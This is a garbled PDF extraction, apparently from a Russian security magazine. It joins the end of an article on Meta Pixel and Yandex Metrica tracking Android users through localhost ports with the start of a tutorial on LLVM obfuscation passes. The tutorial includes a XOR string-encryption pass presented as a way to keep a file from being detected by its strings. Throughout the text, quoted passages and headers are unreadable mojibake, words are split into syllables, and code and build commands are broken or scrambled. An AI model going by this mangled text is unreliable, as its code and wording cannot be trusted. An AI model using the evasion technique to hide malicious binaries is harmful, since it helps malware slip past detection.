шинс тво сай тов дела ет это, в то вре мя как более 75% зат ронутых ресур -
сов не тре буют сог ласия.

3. Заг ружа ется скрипт Meta Pixel, который отправ ляет куку  в натив ное
при ложе ние Instagram или Facebook через WebRTC (STUN) SDP munging.
Этот же скрипт шлет зна чение  на 
вмес те с URL стра ницы ( ), метадан ными сай та и бра узе ра, а так же
типом события ( ), нап ример «Прос мотр стра ницы», «Добав ление в кор -
зину», «Пожер тво вание» или «Покуп ка».

_fbp

_fbp https://www.facebook.com/tr
dl

ev

4. При ложе ния Facebook или Instagram получа ют куку  от скрип тов Meta,
запущен ных в бра узе ре, и переда ют дан ные на эндпо инт GraphQL
( ) вмес те с дру гими пос -
тоян ными иден тифика тора ми поль зовате ля, свя зывая твой 
(веб-посеще ние) с тво ей учет ной записью Facebook или Instagram.

_fbp

https://graph[.]facebook[.]com/graphql
fbp ID

Под робный про цесс переда чи куки _fbp из бра узе ров на Android в при -
ложе ния Facebook и Instagram через Meta Pixel

«ßíäåêñ»
Из вес тно, что «Яндекс Мет рика» начала свя зывать посещен ные сай ты в бра -
узе рах Android с иден тифика тора ми при ложе ний в мае 2017 года, ког да тре -
кер стал отправ лять HTTP-зап росы на локаль ные пор ты 29009 и 30102.
В мае 2018 года «Яндекс Мет рика» начала слать дан ные через HTTPS на пор -
ты 29010 и 30103.

Шей ринг иден тифика торов «Яндекса»

Тай млайн

Не кото рые бра узе ры для Android начали бло киро вать осо бо наг лые скрип ты
в тре керах. Возь мем DuckDuckGo: он и рань ше отсе ивал домены и IP, свя зан -
ные с эти ми тре кера ми, что бы бра узер ничего не сли вал ком пании Meta. Точ -
но так же он рубит на кор ню и боль шую часть обра щений к доменам, свя зан -
ным с «Яндекс Мет рикой». Пос ле того как иссле дова тели сооб щили
DuckDuckGo о непол ном чер ном спис ке, раз работ чики быс тро добави ли
недос тающие адре са.

Бра узер Brave, кста ти, тоже уме ет бло киро вать переда чу иден тифика -
торов бла года ря сво им длин нющим блек-лис там и защите от 
на localhost без явно го сог ласия поль зовате ля. А вот Vivaldi, дру гой бра узер
на базе Chromium, при стан дар тных нас трой ках при ват ности отправ ляет
иден тифика торы на локаль ные пор ты Android. Иссле дова тели говорят, что,
если вклю чить бло киров ку тре керов, это реша ет проб лему утеч ки исто рии
прос мотров.

зап росов

Нас трой ки бло киров ки тре кин га в Vivaldi для Android

ÊÀÊ ÁÎÐÎÒÜÑß

Ле карс тва, которые про писа ли себе DuckDuckGo, Brave, Vivaldi и Chrome,
пока что дей ству ют как надо, но иссле дова тели пре дуп режда ют, что в любой
момент это может перес тать работать.

«

»

Ïî ïûò êè ñîç äàòü ÷åð íûå ñïèñ êè äëÿ áðà óçå ðîâ çàêîí ÷àòñÿ áåñ êîíå÷ -
íîé ãîí êîé âîîðó æåíèé, è ýòî âñå ãî ëèøü ÷àñ òè÷íîå ðåøåíèå, —
ãîâîðèò Âàë ëèíà-Ðîä ðèãåñ î òåêóùèõ ìåòîäàõ áîðü áû. — Ñîç äàâàòü
ýôôåêòèâ íûå ñïèñ êè áëî êèðî âîê — çàäà÷à íåï ðîñòàÿ, âåäü ðàç ðàáîò -
÷èêàì áðà óçå ðîâ ïðè äåò ñÿ ïîñ òîÿí íî ìîíèòî ðèòü, êàê èñïîëü çóþò ñÿ
ýòè âîç ìîæíîñ òè, ÷òî áû âûÿâ ëÿòü äðó ãèå õîñ òû, êîòîðûå ìîãóò çëî -
óïîò ðåáëÿòü êàíàëà ìè localhost, è îáíîâëÿòü ñâîè ñïèñ êè.

Он про дол жает:

«

»

Ìî æåò, òàêîé ïîä õîä è ñðà áîòà åò, êîã äà òåáå èçâåñ òíû íóæ íûå õîñ -
òíåé ìû, íî ýòî íå ëó÷ øèé ñïî ñîá ðåøåíèÿ ïðîá ëåìû. Òðå êåðû ìîãóò
íàé òè îáõîäíîé ïóòü (íàï ðèìåð, èñïîëü çîâàòü âðå ìåí íûå õîñ òíåé ìû).
Äîë ãîñðî÷ íîå ðåøåíèå äîë æíî âêëþ ÷àòü â ñåáÿ ðàç ðàáîò êó è âíåä -
ðåíèå ìåõàíèç ìîâ êîí ôèäåí öèàëü íîñ òè è áåçîïàñ íîñòè äëÿ êàíàëîâ
localhost: ÷òî áû ïîëü çîâàòå ëè ìîã ëè óçíà âàòü î òîì, ÷òî ïðî èñõî äèò
òàêîå âçà èìî äåé ñòâèå, è ïðè íåîá õîäèìîñ òè îãðà íè÷è âàòü åãî (íàï -
ðèìåð, ÷åðåç ðàç ðåøåíèÿ).

Chrome и боль шинс тво дру гих бра узе ров на базе Chromium выпол няли
JavaScript так, как задума ли в Meta и «Яндексе». Firefox тоже про шел этот тест,
но по непонят ным при чинам бра узер не смог успешно выпол нить SDP
munging, исполь зуемый в пос ледних вер сиях кода.

В ран ней май ской бета-вер сии Chrome заб локиро вал STUN-вари ант SDP
munging, а про дак шен-вер сия, выпущен ная , начала бло -
киро вать как STUN-, так и TURN-вари анты.

две недели назад

Ско рее все го, дру гие бра узе ры на базе Chromium внед рят это в бли жай -
шие недели. Пред ста витель Mozilla заявил, что в орга низа ции при дают боль -
шое зна чение кон фиден циаль нос ти поль зовате лей и серь езно отне сут ся
к это му отче ту.

«
»

Ìû àêòèâíî ðàñ ñëå äóåì îïè ñàí íîå ïîâåäå íèå è ïûòà åìñÿ âûÿñ íèòü
âñå åãî òåõ íè÷åñ êèå íþàí ñû è ïîñ ëåäñ òâèÿ, — ñîîá ùèëè â Mozilla. —
Íà îñíî âàíèè òîãî, ÷òî ìû óæå âèäåëè, ñ÷è òàåì ýòî ñåðü åçíûì
íàðóøå íèåì íàøèõ àíòèòðå êèí ãîâûõ ïîëèòèê è èùåì ñïî ñîáû
çàùèòèòü ñÿ îò íîâûõ òðå êèí ãîâûõ õèò ðîñòåé.

Ис сле дова тели пре дуп режда ют, что нынеш ние фик сы нас толь ко завяза ны
на кон крет ный код тре керов Meta и «Яндекса», что обой ти их мож но прос тым
обновле нием.

«
»

Îíè ïîíèìà þò, ÷òî åñëè êòî-òî äðó ãîé çàé äåò è ïîï ðîáó åò äðó ãîé
ïîðò, òî âïîë íå ìîæåò îáîé òè ýòó çàùèòó, — ãîâîðèò Ãþíåø Àêàð, òîò
ñàìûé èññëå äîâà òåëü, êîòîðûé âïåð âûå íàò êíóë ñÿ íà ýòó óÿç âèìîñòü,
èìåÿ â âèäó ðàç ðàáîò ÷èêîâ Chrome èç Google. — Íî íàñ êîëü êî ìû
ïîíèìà åì, îíè õîòÿò ïîñ ëàòü ÷åò êèé ñèã íàë: òàê èçäå âàòü ñÿ íàä ñèñ -
òåìîé âñå æå íå ïðî êàòèò.

Ис сле дова тель Вал лина-Род ригес счи тает, что самый надеж ный спо соб пре -
дот вра тить зло упот ребле ния — это что бы Android пол ностью перес мотрел,
как он обра баты вает дос туп к локаль ным пор там.

«

»

Îñ íîâíàÿ ïðîá ëåìà â òîì, ÷òî äîñ òóï ê ñîêåòàì ëîêàëü íîãî õîñ òà
íà Android âîîá ùå íå êîí òðî ëèðó åòñÿ, — îáú ÿñíÿ åò îí. — Ïîëü çîâàòå -
ëè íå ìîãóò ïðå äîò âðà òèòü òàêîãî ðîäà ñâÿçü íà ñâî èõ óñòðîé ñòâàõ.
Èç-çà äèíàìè ÷åñ êîé ïðè ðîäû JavaScript è ñëîæ íîñòè â îáíîâëå íèè
áëîê-ëèñ òîâ åäèíñ òâåí íûé âåð íûé ñïî ñîá ïîñ òîÿí íî áëî êèðî âàòü
òàêèå øòó êè — ýòî îãðà íè÷èòü ïîäîá íûé äîñ òóï íà óðîâ íå ìîáèëü íîé
ïëàò ôîðìû è áðà óçå ðà, âíåä ðÿÿ áîëåå ñòðî ãèå ïîëèòè êè, ÷òî áû îãðà -
íè÷èòü êèáåð çëî óïîò ðåáëå íèÿ.

ÄÀÍÎ ËÈ ÑÎÃËÀÑÈÅ?

Нет никаких приз наков того, что Meta или «Яндекс» сооб щили сай там с тре -
кера ми или поль зовате лям, которые на них заходят, об отсле жива нии.
На форумах раз работ чиков вид но, что мно гие вла дель цы сай тов, исполь -
зующие Meta Pixel, были в шоке, ког да обна ружи ли, что скрип ты обра щают ся
к локаль ным пор там.

«С 5 сен тября наш внут ренний тре кер оши бок JS начал отме чать неудач -
ные зап росы fetch к localhost:12387, — написал один из раз работ чиков. —
С нашей сто роны никаких изме нений не было, а пик сель тре кин га Facebook,
которым мы поль зуем ся, гру зит ся через Google Tag Manager».

«А мож но как-то это отклю чить?» — спро сил еще один раз работ чик, стол -
кнув шись с загадоч ным дос тупом к локаль ному пор ту.

Не сов сем ясно, наруша ет ли отсле жива ние перехо дов из бра узе ра
в натив ные при ложе ния законы о при ват ности в раз ных стра нах. Но Meta
и про чие ком пании, исполь зующие ее Meta Pixel, уже не раз попада ли
под раз дачу в суде. Вспом ни хотя бы эти слу чаи:
• Facebook users sue Meta for bypassing beefy Apple security to spy on millions
• Major tax-ling websites secretly share income data with Meta
• Tax preparers that shared private data with Meta, Google could be ned billions
• AMC to pay $8M for allegedly violating 1988 law with use of Meta Pixel

Во всех этих делах утвер жда ется, что сбор дан ных наруша ет пра вила кон -
фиден циаль нос ти. Более того, в иссле дова нии 2023 года (ког да Meta Pixel
еще называл ся Facebook Pixel) выяс нилось, что он тре кает дей ствия поль -
зовате лей на сай тах в пуга ющих под робнос тях, осо бен но на тех, которые
попада ют под понятие «чувс тви тель ных» сог ласно GDPR.

ÂÛÂÎÄ

По ка что в Google не сооб щают о пла нах изме нить спо соб обра бот ки локаль -
ного дос тупа к пор там в Android. Если хочешь мак сималь но защитить ся
от слеж ки через Meta Pixel и «Яндекс Мет рику», самый надеж ный спо соб —
не ста вить при ложе ния Meta и «Яндекса» на свои устрой ства с Android.

https://arstechnica.com/security/2025/06/meta-and-yandex-are-de-anonymizing-android-users-web-browsing-identifiers/
https://arstechnica.com/security/2025/06/meta-and-yandex-are-de-anonymizing-android-users-web-browsing-identifiers/
https://arstechnica.com/author/dan-goodin/
https://arstechnica.com/author/dan-goodin/
https://source.android.com/docs/security/app-sandbox
https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/State_Partitioning
https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/State_Partitioning
https://privacysandbox.google.com/cookies/storage-partitioning
https://www.facebook.com/business/tools/meta-pixel/
https://ads.yandex/metrica
https://trends.builtwith.com/websitelist/Facebook-Pixel%20
https://trends.builtwith.com/websitelist/Facebook-Pixel%20
https://trends.builtwith.com/analytics/Yandex-Metrika
https://stackoverflow.com/questions/1946193/whats-the-whole-point-of-localhost-hosts-and-ports-at-all
https://en.wikipedia.org/wiki/WebRTC
https://webrtchacks.com/not-a-guide-to-sdp-munging/
https://en.wikipedia.org/wiki/STUN
https://brave.com/privacy-updates/27-localhost-permission/
https://developer.chrome.com/release-notes/137
https://arstechnica.com/tech-policy/2022/09/lawsuits-say-meta-evaded-apple-privacy-settings-to-spy-on-millions-of-users/
https://arstechnica.com/tech-policy/2022/11/major-tax-filing-websites-secretly-share-income-data-with-meta/
https://arstechnica.com/tech-policy/2023/07/meta-wont-say-what-happened-to-taxpayer-data-it-may-have-illegally-collected/
https://arstechnica.com/tech-policy/2024/02/amc-to-pay-8m-for-allegedly-violating-1988-law-with-use-of-meta-pixel/
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КОДИНГ

Про читав эту статью, ты узна ешь,
как работа ет обфусци рующий ком пилятор,
углу бишь ся в архи тек туру LLVM и смо жешь
писать собс твен ные про ходы для обфуска -
ции кода. Мы сде лаем обфуска тор стро чек,
соберем LLVM из исходни ков и узна ем,
как интегри ровать obfuscator-llvm в сов -
ремен ный Visual Studio, что бы собирать
твой код с обфуска цией.

×ÒÎ ÇÀ ÇÂÅÐÜ LLVM

Про ект LLVM стар товал в 2000 году и получил рас простра нение в начале
десятых. Изна чаль ная рас шифров ка — low level virtual machine, хотя сей час
она не отра жает суть про екта. LLVM — фрей мворк с откры тым исходным
кодом для соз дания ком пилято ров. На базе LLVM мож но соб рать ком пилятор
для собс твен ного язы ка прог рамми рова ния. Или «улуч шить» сущес тву ющий,
чем мы сегод ня и зай мем ся.

Ар хитек турно LLVM раз делен на три час ти: фрон тенд, опти миза ция
и бэкенд. Фрон тенд пре обра зует исходный код в про межу точ ное пред став -
ление (intermediate representation) — уни вер саль ный про межу точ ный код,
который исполь зует ся на сле дующих эта пах для опти миза ции кода и сбор ки
фай ла. Опти миза ция уда ляет неис поль зуемый код, сво рачи вает ариф -
метичес кие вычис ления в готовые кон стан ты и заменя ет неэф фектив ные
конс трук ции более быс тры ми. Бэкенд прев раща ет IR в машин ный код.

Ес ли ты соз даешь новый язык, дос таточ но написать фрон тенд, генери -
рующий IR, а осталь ную работу LLVM возь мет на себя. Точ но так же мож но
работать с кодом (изна чаль но написан ным на любом под держи ваемом язы -
ке) на уров не IR, меняя его под свои нуж ды на эта пе опти миза ции.
Или написать свой бэкенд, что бы собирать ста рый код под неиз вес тную про -
цес сорную архи тек туру.

Не обя затель но писать фрон тенд с нуля. Дос таточ но модифи циро вать
исходный код LLVM. Опти миза ция — более гиб кий инс тру мент, она под -
держи вает заг ружа емые пла гины, добав ляющие  — спе циаль ные

фун кции, обра баты вающие IR на уров не модуля, фун кции, цик ла или базово го
бло ка. Для обфуска ции кода мы будем исполь зовать имен но их.

ïðî õîäû

ÑÁÎÐÊÀ LLVM ÏÎÄ WINDOWS

Для начала уста новим  и помес тим ути литу  в 

, тем самым сде лав ее видимой для CMake при сбор ке.

CMake ninja.exe C:\Program
Files\CMake\bin

mkdir C:\LLVM && cd C:\LLVM

"C:\Program Files\Microsoft Visual 
Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"

git clone https://github.com/llvm/llvm-project.git
cd llvm-project
mkdir build && cd build

cmake -G "Ninja" ^
 -DLLVM_ENABLE_PROJECTS="clang" ^
 -DLLVM_ENABLE_ASSERTIONS=ON ^
 -DCMAKE_BUILD_TYPE=Release ^
 -DLLVM_BUILD_LLVM_DYLIB=ON ^
 -DLLVM_ENABLE_RTTI=ON ^
 -DCMAKE_INSTALL_PREFIX=C:/llvm/custom ^
 ../llvm

ninja
ninja install

Соз даем пап ку в кор не дис ка и запус каем . Он уста новит необ -
ходимые для сбор ки перемен ные окру жения, такие как путь до ком пилято ра
и под клю чаемых фай лов MSVC. Далее кло ниру ем исходный код LLVM и запус -
каем сбор ку. Ждем око ло часа окон чания сбор ки и получа ем новые фай лы
в . Сре ди них ути литы, ком пилято ры и под клю чаемые фай лы

.lib. Они при годят ся при соз дании собс твен ных про ходов для опти миза ции.

vcvars64.bat

C:\LLVM\custom

Ñáîðêà ïðîõîäîâ
Соз даем про ект в Visual Studio и меня ем его нас трой ки:

Configuration Type = Dynamic Library (.dll)
Additional Include Directories = C:\LLVM\include
Additional Library Directories = C:\LLVM\lib
C++ Langauge Standart = ISO C++17 Standard (/std:c++17)
Code Generation → RuntimeLibrary = /MT

Так же добав ляем спи сок .lib в :Additional Dependencies

LLVMCore.lib
LLVMSupport.lib
LLVMBitReader.lib
LLVMIRReader.lib
LLVMAnalysis.lib
LLVMPasses.lib
LLVMFrontendOpenMP.lib
LLVMTargetParser.lib
LLVMRemarks.lib
LLVMProfileData.lib
LLVMBinaryFormat.lib
LLVMDemangle.lib
LLVMBitstreamReader.lib

Та ким обра зом собира ются все наши про ходы.

ÏÐÎÕÎÄ ÄËß ÀÍÀËÈÇÀ ÏÎÊÐÛÒÈß

Соз дадим прос той пла гин для опти миза тора. Пер вое, что при ходит на ум, —
добавить логиро вание на вход каж дой фун кции. AFL исполь зует похожий под -
ход для опре деле ния пок рытия — он добав ляет свой код в иссле дуемые
исходни ки, что бы отсле живать поток управле ния.

#pragma warning(disable : 4146)
#pragma comment(linker, "/export:llvmGetPassPluginInfo")
#define _CRT_SECURE_NO_WARNINGS

 #include "llvm/Passes/PassBuilder.h"
 #include "llvm/Passes/PassPlugin.h"
 #include "llvm/IR/PassManager.h"
 #include "llvm/Pass.h"
 #include "llvm/IR/Function.h"
 #include "llvm/IR/Module.h"
 #include "llvm/IR/IRBuilder.h"
 #include "llvm/IR/Type.h"
 #include "llvm/IR/Instructions.h"
 #include "llvm/IR/Constants.h"
 #include "llvm/IR/DerivedTypes.h"
 #include "llvm/Support/raw_ostream.h"

  using namespace llvm;

    struct DebugTracePass : PassInfoMixin<DebugTracePass> {
      PreservedAnalyses run(Module& M, ModuleAnalysisManager&) {
       LLVMContext& Ctx = M.getContext();

    // Получаем i8* тип (char*)
       Type* i8Ty = Type::getInt8Ty(Ctx);
        PointerType* i8PtrTy = PointerType::get(i8Ty, 0);

    // Тип функции: void OutputDebugStringA(char*)
        
   

FunctionType* debugFnTy = FunctionType::get(Type::getVoidTy(Ctx),
{ i8PtrTy }, false);
       

 
FunctionCallee debugFn = M.getOrInsertFunction(

"OutputDebugStringA", debugFnTy);

         for (Function& F : M) {
      // Пропуск, если это объявление функции

        if (F.isDeclaration()) continue;

      // Строим IR перед первой инструкцией
         Instruction* insertPt = &*F.getEntryBlock().getFirstInsertionPt

();
       IRBuilder<> builder(insertPt);

      // Формируем строку
           std::string msg = "Enter: " + F.getName().str();

         Value* msgStr = builder.CreateGlobalString(msg);

      // Вставляем вызов OutputDebugStringA
       builder.CreateCall(debugFn, msgStr);

    }

     return PreservedAnalyses::none();
  }
};

 extern "C"
  llvm::PassPluginLibraryInfo llvmGetPassPluginInfo() {

   return {
     LLVM_PLUGIN_API_VERSION, // Версия API плагинов
     "InjectFunctionCallPass", // Название плагина
     "v0.1", // Версия
      [](llvm::PassBuilder& PB) {

      PB.registerPipelineParsingCallback(
         [](llvm::StringRef Name,

            llvm::ModulePassManager& MPM,
            llvm::ArrayRef<llvm::PassBuilder::PipelineElement>) {

              if (Name == "debug-trace") {
            MPM.addPass(DebugTracePass());

             return true;
          }

           return false;
        });

     } };
}

Здесь я сна чала отклю чаю раз дра жающее пре дуп режде ние о невер ной
типиза ции внут ри кода LLVM. Затем про шу экспор тировать фун кцию

. Она дол жна быть в экспор те пла гина, что бы сооб -
щить при заг рузке его наз вание и добавить новый про ход  в спи -

сок дос тупных про ходов. Про ход рас полага ется в методе  клас са

.

llvmGetPassPluginInfo
debug-trace

run
DebugTracePass

Внут ри про хода получаю ссыл ку на фун кцию , пред -
варитель но ука зав ее про тотип. Далее переби раю внут ри модуля все фун -
кции, у которых есть тело, а не толь ко опре деле ние. Вызов 

отда ет пер вый базовый блок в теле фун кции, а  воз -
вра щает ите ратор. Пре обра зуем его в ссыл ку на пер вую инс трук цию. Теперь
соз даю объ ект , который будет генери ровать инс трук ции в задан -

ной точ ке, то есть перед пер вой инс трук цией. Фор мирую гло баль ную стро ку
с име нем фун кции, которая будет рас полагать ся в сек ции дан ных. И соз даю
вызов фун кции  с аргу мен том в виде толь ко что опре -

делен ной стро ки. В кон це  явно сооб щает LLVM, что код

модуля изме нил ся и ста рый ана лиз модуля неак туален.

OutputDebugStringA

getEntryBlock
getFirstInsertionPt

IRBuilder

OutputDebugStringA
PreservedAnalyses

ÇÀÏÓÑÊ ÏÐÎÕÎÄÀ

Соз дадим для тес та самый прос той исходник:

 #include <Windows.h>

 int main()
{
     return 0;
}

И соберем из него про межу точ ный код:

clang.exe -S -emit-llvm test.cpp -o test.ll

Нас тало вре мя при менить новый про ход:

opt.exe -load-pass-plugin llvm_pass.dll -passes=debug-trace -S test.ll -
o output.ll

Пос мотрим на соз данный пос ле про хода про межу точ ный код:

@0 = private unnamed_addr constant [12 x i8] c"Enter: main\00", 
align 1

; Function Attrs: mustprogress noinline norecurse nounwind optnone 
uwtable
define dso_local noundef i32 @main() #0 {
entry:
  call void @OutputDebugStringA(ptr @0)
  %retval = alloca i32, align 4
  store i32 0, ptr %retval, align 4
  ret i32 0
}

declare void @OutputDebugStringA(ptr)

Как и ожи далось, в начале фун кции  появил ся вызов
. Поп робу ем соб рать IR в исполня емый файл.

main
OutputDebugStringA

clang.exe output.ll -o output.exe

За пус каю получен ный EXE и в  вижу стро ку .DbgView [8092] Enter: main

ÏÐÎÕÎÄ ÄËß ÑÊÐÛÒÈß ÑÒÐÎÊ

Рас смот рим при мер поин терес нее. Допус тим, мы хотим избе жать детек -
тирова ния нашего фай ла по стро ковым кон стан там. Для это го сле дует
зашиф ровать все строч ки на эта пе ком пиляции и рас шифро вывать их
в локаль ный буфер в момент исполь зования. Для шиф рования подой дет
любой сим метрич ный алго ритм, но для прос тоты исполь зуем обыч ный XOR
с кон стан той.

     class EncryptStringsPass : public PassInfoMixin<EncryptStringsPass> {
   LLVMContext* Ctx;
   Type* i8Ty;
   PointerType* i8PtrTy;
   Type* i32Ty;
   FunctionCallee DecryptFunc;

      std::string encryptString(const std::string& Original) {
       std::string Encrypted = Original;
           for (char& c : Encrypted) c ^= 0xAA;
     return Encrypted;
  }

       
    

void createDecryptionBuffer(IRBuilder<>& B, Value* TargetPtr,
unsigned Len, Value*& OutBufPtr) {
          auto* Buf = B.CreateAlloca(ArrayType::get(i8Ty, Len + 1));
        auto* BufCast = B.CreatePointerCast(Buf, i8PtrTy);
        auto* PtrCast = B.CreatePointerCast(TargetPtr, i8PtrTy);
         B.CreateCall(DecryptFunc, { BufCast, PtrCast, B.getInt32(Len) });
      OutBufPtr = BufCast;
  }

       
 

void handleConstantExprUser(ConstantExpr* CE, const std::string&
Original) {
      std::vector<User*> CEUsers(CE->users().begin(), CE->users().end
());
         for (User* Use : CEUsers) {

           if (auto* I = dyn_cast<Instruction>(Use)) {
         IRBuilder<> B(I);

           Value* BufPtr = nullptr;
           createDecryptionBuffer(B, CE, Original.size(), BufPtr);
         I->replaceUsesOfWith(CE, BufPtr);

      }
    }
  }

        
  

void handleRegularUser(Value* Ptr, Instruction* InsertPt, const std
::string& Original) {
     IRBuilder<> B(InsertPt);
       Value* BufPtr = nullptr;
       createDecryptionBuffer(B, Ptr, Original.size(), BufPtr);

       Ptr->replaceUsesWithIf(BufPtr, [&](Use& U) {
         return dyn_cast<Instruction>(U.getUser()) == InsertPt;

      });
  }

public:
      PreservedAnalyses run(Module& M, ModuleAnalysisManager&) {
      Ctx = &M.getContext();
      i8Ty = Type::getInt8Ty(*Ctx);
       i8PtrTy = PointerType::get(i8Ty, 0);
      i32Ty = Type::getInt32Ty(*Ctx);

      DecryptFunc = M.getOrInsertFunction(
      "decryptStringInto",

    
  

      FunctionType::get(Type::getVoidTy(*Ctx), { i8PtrTy, i8PtrTy,
i32Ty }, false)
    );

         for (auto& GV : M.globals()) {
          if (!GV.hasInitializer() || !GV.isConstant()) continue;

         auto* CA = dyn_cast<ConstantDataArray>(GV.getInitializer());
          if (!CA || !CA->isString()) continue;

         std::string Original = CA->getAsString().str();
         std::string Encrypted = encryptString(Original);

         auto* ArrayTy = cast<ArrayType>(GV.getValueType());
         if (Encrypted.size() < ArrayTy->getNumElements())

         Encrypted.resize(ArrayTy->getNumElements(), '\0');

        std::vector<uint8_t> Bytes(Encrypted.begin(), Encrypted.end());
       GV.setInitializer(ConstantDataArray::get(*Ctx, Bytes));

      GV.setConstant(false);

        std::vector<User*> Users(GV.users().begin(), GV.users().end());
           for (User* U : Users) {
             if (auto* CE = dyn_cast<ConstantExpr>(U)) {
              if (CE->getOpcode() == Instruction::GetElementPtr) {

             handleConstantExprUser(CE, Original);
          }
          continue;
        }

           Instruction* InsertPt = nullptr;
           Value* Ptr = nullptr;

             if (auto* GEP = dyn_cast<GetElementPtrInst>(U)) {
            Ptr = GEP;

           if (!GEP->user_empty())
              InsertPt = dyn_cast<Instruction>(*GEP->user_begin());

        }
              else if (auto* I = dyn_cast<Instruction>(U)) {
            Ptr = &GV;

            InsertPt = I;
        }

           if (Ptr && InsertPt)
            handleRegularUser(Ptr, InsertPt, Original);

      }
    }

     return PreservedAnalyses::none();
  }
};

Продолжение статьи →

https://cmake.org/
https://github.com/ninja-build/ninja/releases
https://learn.microsoft.com/ru-ru/sysinternals/downloads/debugview


ОБФУСЦИРУЕМ КОД
ПРИ ПОМОЩИ LLVM

КОДИНГ  НАЧАЛО СТАТЬИ

Рас смот рим метод . Код переби рает все гло баль ные перемен ные, отбра -

сывая те, у которых нет зна чения, и те, что не явля ются кон стан той. Если кон -
стан та — это стро ка, получа ем ее зна чение и шиф руем. Далее под меня ем
ори гиналь ную стро ку шиф рован ными бай тами. Затем копиру ем спи сок поль -
зовате лей этой кон стан ты в мас сив . Про ходим по спис ку и вызыва ем

обра бот чики для раз ных типов «поль зовате лей». В обо их слу чаях встав ляем
перед инс трук цией локаль ный буфер и вызов про цеду ры рас шифров ки.
Наконец, заменя ем ссыл ку на исходную стро ку ссыл кой на соз данный нами
буфер.

run

Users

 #include <windows.h>
 #include <stdint.h>
 #include <stdlib.h>

         
 

extern "C" void decryptStringInto(char* out, const char* enc, int len
) {
     char key = 0xAA;
           for (int i = 0; i < len; ++i) {
        out[i] = enc[i] ^ key;
  }
    out[len] = '\0';
}

 int main()
{
   DWORD written;
      const char* message = "Xakep.ru\n";
    

  
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), message, (DWORD)

lstrlenA(message), &written, NULL);
   return 0;
}

Я взял прос той тес товый код, выводя щий строч ку в кон соль. Про ще все го
помес тить вызыва емую обфуска тором  в ори гиналь ный
код.

decryptStringInto

clang.exe -S -emit-llvm test_str.cpp -o test_str.ll
opt.exe -load-pass-plugin llvm_pass.dll -passes=encrypt-strings -S 
test_str.ll -o output.ll
clang.exe output.ll -o output.exe

Со берем исходник и пос мотрим пос ле деком пиляции, что внут ри:

         int __fastcall main(int argc, const char **argv, const char **envp)
{
   HANDLE StdHandle;
   LPCSTR lpBuffer;
   int nNumberOfCharsToWrite;
   CHAR v7[9];
   LPCSTR lpString;
   DWORD NumberOfCharsWritten[2];

    NumberOfCharsWritten[1] = 0;
    sub_140001000(v7, &unk_14001A000, 8);
    lpString = v7;
    nNumberOfCharsToWrite = lstrlenA(v7);
    lpBuffer = lpString;
    StdHandle = GetStdHandle(0xFFFFFFF5);
     

 
WriteConsoleA(StdHandle, lpBuffer, nNumberOfCharsToWrite,

NumberOfCharsWritten, 0);
   return 0;
}

За пус тив файл в кон соли, убеж даем ся, что все работа ет: стро ка выводит ся
без обфуска ции, хотя и не сох раня ется в откры том виде.

OLLVM-16

Вре мя погово рить о серь езных обфуска торах. Про ект  (или,
как его сок ращен но называ ют, OLLVM) появил ся в 2010 году как уни вер ситет -
ский про ект по защите кода. Фак тичес ки это форк LLVM, встра ивающий про -
ходы обфуска ции в сам ком пилятор. Он работа ет с про межу точ ным кодом,
так что теоре тичес ки может работать с любыми под держи ваемы ми LLVM
выход ными язы ком и архи тек турой. Пос ледняя вер сия обфуска тора выш ла
для LLVM-4 (акту аль ная вер сия — LLVM-20). Но к счастью, есть сов ремен ный
порт , с ним мы и будем работать.

obfuscator-llvm

OLLVM-16

Ñáîðêà
Для начала уста новим в Visual Studio 2022 пару пакетов для работы с LLVM:

Compilers, build tools, and runtimes
☑ C++ Clang Compiler for Windows (19.1.5)
☑ MSBuild support for LLVM (clang-cl) toolset

Те перь мож но начинать сбор ку.

git clone -b llvmorg-16.0.6 --depth=1 https://github.com/llvm/llvm-
project.git llvmorg-16.0.6
git clone https://github.com/wwh1004/ollvm-16
robocopy ollvm-16/Obfuscation llvmorg-16.0.6/llvm/lib/Obfuscation

Пра вим файл  и дописы ваем

в него .

llvmorg-16.0.6/llvm/lib/CMakeLists.txt
add_subdirectory(Obfuscation)

 C: lvm  C:cmake -S \llvm-16.0.6\l -B \llvm-16.0.6-build ^
   x64 -G "Visual Studio 17 2022" -A -Thost=x64 ^

 -DLLVM_ENABLE_PROJECTS="clang;lld" -DCMAKE_BUILD_TYPE=Release ^
X86 ON ^-DLLVM_TARGETS_TO_BUILD= -DLLVM_OBFUSCATION_LINK_INTO_TOOLS=

OFF OFF-DLLVM_INCLUDE_TESTS= -DLLVM_INCLUDE_EXAMPLES=

За пус тив CMake, мы получим файл , из которо го запус тим сбор ку
Release-вер сии. Сбор ка занима ет чуть боль ше часа.

LLVM.sln

Èíòåãðàöèÿ â Visual Studio
По умол чанию Visual Studio исполь зует LLVM-19. Нам нуж но сооб щить ком -
пилято ру, что мы хотим исполь зовать дру гую вер сию. Для это го в кор не про -
екта соз даем файл :Directory.build.props

<Project>
<PropertyGroup>
<LLVMInstallDir>C:\llvm-16.0.6-build</LLVMInstallDir>
<LLVMToolsVersion>16.0.6</LLVMToolsVersion>
</PropertyGroup>
</Project>

Это изме няет перемен ные окру жения, осталь ную нас трой ку IDE сде лает
за нас, надо толь ко выб рать пра виль ный тул сет:

Platform Toolset = LLVM (clang-cl)

Те перь сбор ка любого кода будет выпол нять ся нашей вер сией 
со встро енным обфуска тором.

clang-cl

ÎÁÇÎÐ ÌÅÒÎÄÎÂ ÎÁÔÓÑÊÀÖÈÈ

Уп равле ние обфуска цией в нашем ком пилято ре про исхо дит через спе циаль -
ные клю чи. Допиши в  эти стро ки:Command Line

-mllvm -sub -mllvm -sub_loop=3 -mllvm -split -mllvm -split_num=3 -
mllvm -fla -mllvm -bcf -mllvm -bcf_loop=3 -mllvm -bcf_prob=40

Рас смот рим, что дела ет каж дый из клю чей.

Bogus control flow
Этот метод встав ляет в базовый блок фаль шивые учас тки кода, которые
никог да не будут исполне ны. Нас трой ки:

 — вклю чает этот вид обфуска ции;• -bcf
 — зада ет, сколь ко раз при менять BCF к одной фун кции;• -bcf_loop=N
 — зада ет веро ятность (в про цен тах, от 0 до 100) добав -

ления bogus-бло ка.
• -bcf_prob=P

Рас смот рим, как выг лядит код до и пос ле обфуска ции.

   AcceleratorsW = LoadAcceleratorsW(hInstance, (LPCWSTR)0x6D);

На осно ве это го бло ка кода рядом встав лен цикл с усло вием, которое всег да
будет :False

